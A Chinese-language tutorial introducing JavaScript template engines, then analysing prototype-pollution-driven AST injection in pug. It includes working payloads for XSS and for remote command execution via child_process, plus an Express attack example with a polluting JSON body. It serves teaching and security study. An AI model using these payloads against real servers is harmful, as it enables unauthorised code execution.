模板引擎是什麼#
JS web 開發中常用的模板引擎如 ejs
、pug
、handlebars
功能:動態渲染 HTML 代碼,創建可重複使用的頁面結構
ejs
模板使用
// 安裝EJS模塊:npm install ejs
// 引入EJS模塊
const ejs = require('ejs');
// 定義模板
const template = `
<h1>Hello, <%= name %>!</h1>
`;
// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
handlebars
模板使用
// 安裝Handlebars模塊:npm install handlebars
// 引入Handlebars模塊
const handlebars = require('handlebars');
// 定義模板
const template = `
<h1>Hello, {{name}}!</h1>
`;
// 編譯模板
const compiledTemplate = handlebars.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
pug
模板使用
// 安裝Pug模塊:npm install pug
// 引入Pug模塊
const pug = require('pug');
// 定義模板
const template = `
h1 Hello, #{name}!
`;
// 編譯模板
const compiledTemplate = pug.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
模板引擎的工作原理#
詞法解析 -> 語法解析 -> 代碼生成
但是在語法樹處理的過程中,如果存在原型鏈污染,則可以隨意修改 AST 樹,進而影響生成的代碼,最終達到 RCE(遠程代碼執行)的目的
pug template AST injection#
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
當執行到 fn({msg: 'It works'});
這一步的時候,本質上是進入了一段函數
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});
(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
AST Injection 原理分析#
語法樹結構#
pug 解析 h1= msg
,生成的語法樹結構:
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
語法樹生成後,會調用 walkAst
執行語法樹的解析過程,依次對每個節點的類型進行判斷,即如下代碼:
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // 注意這裡
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
語法樹執行順序#
以剛剛生成的語法樹結構舉例,解析順序為:
- Block
- Tag
- Block
- Code
- …?
注意第 4 步解析 node.Type
為 Code
類型,會執行如下代碼:
case 'Code':
case 'While':
if (ast.block) { // 注意這裡
ast.block = walkAST(ast.block, before, after, options);
}
- 判斷
ast.block
屬性是否存在,此處的ast
即當前 ast 語法樹的節點 - 如果存在,繼續遞歸解析 block
結合原型鏈污染#
如果某處存在原型鏈污染漏洞,使得
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
那麼 ast.block
就會訪問到 ast.__proto__.block
,即Object.prototype.block
的屬性
此時代碼輸出結果,導致了 XSS
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
RCE#
我們知道 pug 本質上是將一段代碼,如 h1 =msg
編譯為一段 js 代碼,背後其實就是生成語法樹 + new Function
因此如果能通過 AST Injection 插入節點,並使之成為代碼,即可達到遠程代碼執行的目的。
剛好 pug 中就有如下代碼:
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
那麼我們通過 AST Injection + Prototype Pollution 即可實現 RCE
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
攻擊示例#
express 開發的 web 服務,其中一個 CGI 如下:
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
本地跑起來後運行在 1337 端口:
原型鏈污染#
注意到這一行代碼:
const { song } = unflatten(req.body);
unflatten
這個庫存在原型鏈污染
var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true
AST Injection#
注意到這一行代碼:
pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
結合原型鏈污染,可以實現 RCE
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 可以執行任意命令
}
}